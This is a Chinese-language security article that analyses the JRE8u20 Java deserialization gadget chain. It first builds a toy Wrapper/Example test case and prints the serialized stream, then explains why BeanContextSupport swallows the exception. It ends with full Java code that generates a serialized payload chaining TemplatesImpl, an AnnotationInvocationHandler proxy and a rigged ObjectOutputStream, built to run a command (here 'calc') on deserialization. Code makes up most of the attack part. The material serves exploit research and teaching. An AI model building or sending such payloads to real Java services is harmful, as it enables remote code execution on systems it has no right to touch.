Java 序列化和反序列化流程中涉及引用概念：序列化对象时，每次写入序列化对象前会调用 `handles.lookup()`
方法，看这个对象是否已经写入序列化，如果已经写入，则调用 `writeHandle(h);` 写入引用类型标识和 handle 引用值 `0x7e0000
+ handle`。
在 `JDK7u21` 序列化中，会先调用 `HashSet` 类的 `writeObject` 方法，然后调用
`AnnotationInvocationHandler` 默认的 `defaultWriteFields(obj, slotDesc)`
方法，所以在反序列化时也会先调用 `HashSet` 类的 `readObject`
方法，然后调用`AnnotationInvocationHandler` 类的 `readObject` 方法。上面说过
`AnnotationInvocationHandler` 类的 `readObject` 方法会抛出异常，而 `HashSet` 类的
`readObject` 方法没有捕获异常并处理，所以这个异常会直接抛出。
所以我们可以利用引用，如果找到一个类能调用并捕获`AnnotationInvocationHandler` 类的 `readObject`
方法的异常并且能继续执行，然后 `HashSet` 类的 `readObject` 方法直接读取 `AnnotationInvocationHandler`
类对象的引用。
寻找一个类，这个类需要满足几个条件：
1、实现 Serializable；
2、重写了 readObject 方法；
3、readObject 方法还存在对 readObject 的调用，并且对调用的 readObject 方法进行了异常捕获并继续执行；
`JRE8u20` 中使用的是 `java.beans.beancontext.BeanContextSupport` 这个类，看一下这个类的
`readObject` 方法，其中调用了 `readChildren(ObjectInputStream ois)` 方法，主要代码如下：
try {
child = ois.readObject();
bscc = (BeanContextSupport.BCSChild)ois.readObject();
} catch (IOException ioe) {
continue;
} catch (ClassNotFoundException cnfe) {
continue;
}
这个类正好满足我们的条件。
### **_测试用例_**
`Example` 类模拟 `AnnotationInvocationHandler` 类
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Example implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
public Example(String name) {
this.name = name;
}
private void readObject(ObjectInputStream input)
throws Exception {
input.defaultReadObject();
if (!this.name.equals("Example")) {
throw new IOException("name is error");
}
}
}
`Wrapper` 类模拟 `BeanContextSupport` 类
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class Wrapper implements Serializable {
private static final long serialVersionUID = 1L;
private void readObject(ObjectInputStream input)
throws Exception {
input.defaultReadObject();
try {
input.readObject();
} catch (Exception e) {
System.out.println("Wrapper child object readObject error");
}
}
}
`Wrapper` 类没有重写 `writeObject` 方法，可以根据 `readObject` 方法重新构造序列化流程。这里将默认
`ObjectStreamClass`、`ObjectStreamField`、`ObjectStreamStream`、`SerialCallbackContext`、`Bits`类拷贝下来，进行重新修改。类名分别为
`TCObjectStreamClass`、`TCObjectStreamField`、`TCObjectStreamStream`、`SerialCallbackContext`、`Bits`
`App` 类
public class App {
public static void main(String[] args) throws Exception {
Example ex = new Example("test");
Wrapper wp = new Wrapper();
TCObjectOutputStream oos = new TCObjectOutputStream(new FileOutputStream("obj.ser"));
oos.setEx(ex);
oos.writeObject0(wp);
oos.writeObject0(ex);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("obj.ser"));
objectInputStream.readObject();
System.out.println(objectInputStream.readObject());
}
}
重新构造 `Wrapper` 类的写入序列化流程，目标是将 `Wrapper` 对象像如下方式写入序列化。所以需要修改序列化流程中的字段和语句。
private void writeObject(ObjectOutputStream s)
throws Exception {
s.defaultWriteObject();
s.writeObject(ex); // 写入 Example 对象
}
1、首先修改 `TCObjectStreamClass(final Class<?> cl)` 构造方法，让 `Wrapper` 类描述的
`writeObjectMethod` 字段不为 `null`，这样在写入序列化数据时，会调用重写的 `writeObject` 方法流程。
if (cl.getName() == "com.haby0.deserialization.JRE8u20.Wrapper"){
try {
writeObjectMethod = HashSet.class.getDeclaredMethod("writeObject", new Class<?>[] { ObjectOutputStream.class });
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
}else {
writeObjectMethod = getPrivateMethod(cl, "writeObject",
new Class<?>[] { ObjectOutputStream.class },
Void.TYPE);
}
2、修改 `TCObjectOutputStream` 类的 `writeSerialData` 方法。将
`slotDesc.invokeWriteObject(obj, this);` 语句替换如下：
if(slotDesc.getName() == "com.haby0.deserialization.JRE8u20.Wrapper"){
defaultWriteObject();
writeObject0(getEx());
}else {
defaultWriteObject();
}
然后执行 `App` 类的 `main` 方法,通过执行结果已经达到了我们的目的。
Wrapper child object readObject error
com.haby0.deserialization.JRE8u20.Example@2626b418
序列化文件如下：
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 41 - 0x00 29
Value - com.haby0.deserialization.JRE8u20.Wrapper - 0x636f6d2e68616279302e646573657269616c697a6174696f6e2e4a5245387532302e57726170706572
serialVersionUID - 0x00 00 00 00 00 00 00 01
newHandle 0x00 7e 00 00
classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 01
classdata
com.haby0.deserialization.JRE8u20.Wrapper
values
objectAnnotation
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 41 - 0x00 29
Value - com.haby0.deserialization.JRE8u20.Example - 0x636f6d2e68616279302e646573657269616c697a6174696f6e2e4a5245387532302e4578616d706c65
serialVersionUID - 0x00 00 00 00 00 00 00 01
newHandle 0x00 7e 00 02
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 1 - 0x00 01
Fields
0:
Object - L - 0x4c
fieldName
Length - 4 - 0x00 04
Value - name - 0x6e616d65
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 03
Length - 18 - 0x00 12
Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 04
classdata
com.haby0.deserialization.JRE8u20.Example
values
name
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 05
Length - 4 - 0x00 04
Value - test - 0x74657374
TC_ENDBLOCKDATA - 0x78
TC_REFERENCE - 0x71
Handle - 8257540 - 0x00 7e 00 04
### **_JRE8u20 构造思路_**
#### ****BeanContextSupport 类关注点****
看一下 `BeanContextSupport` 类的反序列化方法
private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
synchronized(BeanContext.globalHierarchyLock) {
ois.defaultReadObject(); // 调用默认的反序列化方法
initialize(); // 初始化一堆字段
bcsPreDeserializationHook(ois);
if (serializable > 0 && this.equals(getBeanContextPeer())) // 当 serializable > 0，并且父类 beanContextChildPeer 字段值为当前对象时，调用 readChildren 方法调用子对象的 readObject 方法
readChildren(ois);
deserialize(ois, bcmListeners = new ArrayList(1)); // 当 ois.readInt() 大于零时继续反序列化对象，并将对象添加到 bcmListeners 中
}
}
所以我们在重写 `BeanContextSupport` 类的序列化数据时应该这样写入：
defaultWriteObject();
writeObject0(getInvocationHandler(), false);
bout.writeInt(0);
并且 `serializable` 的字段值设置为 1，`beanContextChildPeer` 字段值设置为 `BeanContextSupport`
对象。
#### ****原有序列化流程修改点****
1、在 HashSet 类中构造假字段，字段类型为
`java.beans.beancontext.BeanContextSupport`，BeanContextSupport 和
BeanContextChildSupport 类只写入自己想要写入的字段；
if (cl == java.util.HashSet.class){
fields = SetHashField(); // 构造 HashSet 类假字段
}else if (cl == java.beans.beancontext.BeanContextSupport.class){
fields = SetBeanContextSupportField(); // BeanContextSupport 序列化要写入的字段 serializable
}else if (cl == java.beans.beancontext.BeanContextChildSupport.class){
fields = SetBeanContextChildSupportField(); // BeanContextChildSupport 序列化要写入的字段 beanContextChildPeer
}else {
fields = getSerialFields(cl); // 默认获取序列化字段流程
}
2、修改 `sun.reflect.annotation.AnnotationInvocationHandler` 类的
`hasWriteObjectData` 值
if (cl.getName() == "sun.reflect.annotation.AnnotationInvocationHandler"){
hasWriteObjectData = true;
}else {
hasWriteObjectData = (writeObjectMethod != null);
}
3、重新构造调用重写 writeObject 方法的序列化流程，根据 `JDK7u21` 序列化的类来修改 `writeSerialData` 方法，将
`slotDesc.invokeWriteObject(obj, this);` 语句修改如下：
if (slotDesc.getName().equals("java.util.HashSet")){
defaultWriteObject();
bout.writeInt(16);
bout.writeFloat(.75f);
bout.writeInt(2);
writeObject0(getTemplatesImpl(), false);
writeObject0(getTemplates(), false);
}else if(slotDesc.getName().equals("java.beans.beancontext.BeanContextSupport")){
defaultWriteObject();
writeObject0(getInvocationHandler(), false);
bout.writeInt(0);
}else if(slotDesc.getName().equals("java.util.HashMap")){
defaultWriteObject();
bout.writeInt(16);
bout.writeInt(1);
writeObject0("f5a5a608");
writeObject0(getTemplatesImpl());
} else if(slotDesc.getName().equals("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl")){
defaultWriteObject();
bout.writeBoolean(false);
} else {
defaultWriteObject();
}
4、修改 `defaultWriteFields(obj, slotDesc);` 方法，将
`writeObject0(objVals[i],fields[numPrimFields + i].isUnshared());` 修改如下：
if (desc.getName() == "java.util.HashSet"){
writeObject0(getBeanContextSupport(),false); // 为构造的假字段写入值为 BeanContextSupport 对象
}else if (desc.getName() == "java.beans.beancontext.BeanContextChildSupport"){
writeObject0(getBeanContextSupport(),false); // 为 beanContextChildPeer 字段写入值为 BeanContextSupport() 对象
}else {
writeObject0(objVals[i],
fields[numPrimFields + i].isUnshared());
}
#### ****构造代码****
相关代码上传 github
package com.haby0.deserialization.JRE8u20;
import com.haby0.deserialization.JDK7u21;
import com.haby0.deserialization.JRE8u20.myutil.TCObjectOutputStream;
import com.haby0.deserialization.util.ClassFiles;
import com.haby0.deserialization.util.ClassLoaderImpl;
import com.haby0.deserialization.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.*;
import java.beans.beancontext.BeanContextSupport;
import java.lang.reflect.*;
import java.util.*;
public class App {
public static void main(String[] args) throws Exception {
BeanContextSupport bcs = new BeanContextSupport();
Class cc = Class.forName("java.beans.beancontext.BeanContextSupport");
Field serializable = cc.getDeclaredField("serializable");
serializable.setAccessible(true);
serializable.set(bcs, 1);
TemplatesImpl calc = JDK7u21.createTemplatesImpl("calc", TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
HashMap map = new HashMap();
map.put("f5a5a608", "aaaa");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").
newInstance(Templates.class, map);
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class,1);
allIfaces[0] = Templates.class;
Templates templates = (Templates)Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), allIfaces, tempHandler);
LinkedHashSet set = new LinkedHashSet();
set.add(calc);
set.add(templates);
TCObjectOutputStream oos = new TCObjectOutputStream(new FileOutputStream("obj.ser"));
oos.setTemplates(templates);
oos.setTemplatesImpl(calc);
oos.setInvocationHandler(tempHandler);
oos.setBeanContextSupport(bcs);
oos.setLhs(set);
oos.writeObject0(set);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("obj.ser"));
objectInputStream.readObject();
}
}
## **参考**
<https://www.anquanke.com/post/id/87270>
<https://github.com/pwntester/JRE8u20_RCE_Gadget> | 社区文章 |
Subsets and Splits